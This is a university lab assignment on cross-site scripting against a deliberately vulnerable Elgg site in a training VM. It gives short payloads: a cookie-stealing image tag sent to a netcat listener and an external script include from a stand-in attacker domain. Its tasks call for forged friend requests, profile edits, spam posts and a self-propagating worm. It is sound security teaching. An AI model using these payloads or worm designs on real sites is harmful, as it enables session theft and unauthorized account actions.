CSE 406
Assignment 2
Cross-Site Scripting (XSS) Attack

1. Overview

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, attackers can steal a victim's credentials, such as session cookies. The access control policies (i.e., the same origin policy) employed by browsers to protect those credentials can be bypassed by exploiting XSS vulnerabilities.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we will use a web application named Elgg provided in our pre-built Ubuntu VM image. In this assignment, students need to exploit this vulnerability to launch an XSS attack on the modified Elgg. This assignment covers the following topics:

- Cross-Site Scripting attack
- XSS worm and self-propagation
- Session cookies
- HTTP GET and POST requests
- JavaScript and Ajax

2. Setting up Environment

Login to Seed Ubuntu and start the apache server.

```
$sudo service apache2 start
```

Vulnerable website and its source code location.

```
URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/
```

User Accounts in Elgg:

User	UserName	Password
Admin	admin	seedelgg
Alice	alice	seedalice
Boby	boby	seedboby

Charlie	charlie	seedcharlie
Samy	samy	seedsamy

3. Getting Started

First embed a JavaScript program in your Elgg profile, such that when another user views your profile, the JavaScript program will be executed and an alert window will be displayed. The following JavaScript program will display an alert window:

```
<script>alert(‘XSS’);</script>
```

Similarly, your cookie can be viewed

```
<script>alert(document.cookie);</script>
```

If your input string is greater than the input field you can use the following trick

```
<script type="text/javascript"
src=’http://www.csrflabattacker.com/myscripts.js’></script>
```

The above malicious JavaScript code written by the attacker can print out the user’s cookies, but only the user can see the cookies, not the attacker. Suppose, the attacker wants the JavaScript code to send the cookies to himself/herself. To achieve this, the malicious JavaScript code needs to send an HTTP request to the attacker, with the cookies appended to the request.

The JavaScript given below sends the cookies to the port 5555 of the attacker’s machine, where the attacker has a TCP server listening to the same port.

```
<script>document.write(‘<img src=http://127.0.0.1:5555?c=’ +
escape(document.cookie) +
‘ >’);</script>
```

Listen to the port with Netcat with the following command

```
$ nc -l 5555 -v
```

4. Tasks

1. Becoming the Victim’s Friend [4 Marks]

In this task, you need to write a malicious JavaScript program that forges HTTP requests directly from the victim’s browser, without the intervention of the attacker. The objective of the attack is to add Samy as a friend to the victim. To add a friend for the victim, you should first find out how a legitimate user adds a friend in Elgg. More specifically, you need to figure out what are sent to the server when a user adds a friend. Firefox’s HTTP inspection tool can help you get the information. From the contents, you can identify all the parameters in the request. Make sure that Samy is not affected by the attack when he visits his own profile. Sample skeleton script has been provided. **Clearly mention how you reached to the solution in the javascipt as comments.**

2. Modifying the Victims Profile [6 Marks]

The objective of this task is to modify the victim's profile when the victim visits Samy's profile. To modify profile, you should first find out how a legitimate user edits or modifies his/her profile in Elgg. More specifically, you need to figure out how the HTTP POST request is constructed to modify a user's profile.
You need to make the following modifications.

I) Set all the field's access levels to "Logged in Users"
II) Set your student ID in the description
III) Set all other fields with random strings

Make sure that Samy is not affected by the attack when he visits his own profile. Sample skeleton script has been provided. **Clearly mention how did you reached to the solution in the javascipt as comments.**

3. Posting on the Wire on Behalf of the Victim [3 Marks]

Follow the steps of Task 2 and post on the wire on behalf of the victim. The content of the post should the following:

```
To earn 12 USD/Hour(!), visit now
<Link to Samy's Profile >
```

Make sure that Samy is not affected by the attack when he visits his own profile. Use the sample skeleton script of task 2. **Clearly mention how did you reached to the solution in the javascipt as comments.**

4. Design a Self-Propagating Worm [7 Marks]

To become a real worm, the malicious JavaScript program should be able to propagate itself. Namely, whenever some people view an infected profile, not only will their profiles be modified, the worm will also be propagated to their profiles, further affecting others who view these newly infected profiles. This way, the more people view the infected profiles, the faster the worm can propagate.

When successfully implemented, your designed worm should behave in the following way.

I) Samy adds the worm's code in his profile.
II) Alice visits Samy's profile and the worm sends friend request to Samy without Alice clicking the add friend button.
III) The worm replicates itself by modifying Alice's profile and posts on the wire Alice's profile link

IV) When Charlie visits Alice's profile, he also adds Samy as friend and the Worm replicates itself to Charlie's profile and posts his profile link on the wire.

The worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs has been provided. This code gets a copy of itself, and displays it in an alert window.

5. Submission Guideline

Deadline: 11:55 PM June 26, 2021

Format: Prepare separate javascript files for each task. Put all the files in a folder named with your 7-digit student ID. Zip the folder and submit. Note that the Zip file's name must be your 7-digit student ID.

Sample Format for 1605999:

```
1605999.zip
|----1605999
     |---- 1605999_Task_1.js
     |---- 1605999_Task_2.js
     |---- 1605999_Task_3.js
     |---- 1605999_Task_4.js
```

6. Acknowledgement

Thanks to Prof. Wenliang Du and SeedLabs.

Plagiarism: Do not copy from any web source or friend. The persons involved in such activities will be penalized by -100% of the total marks.

For any query contact: toufikuzzaman@teacher.cse.buet.ac.bd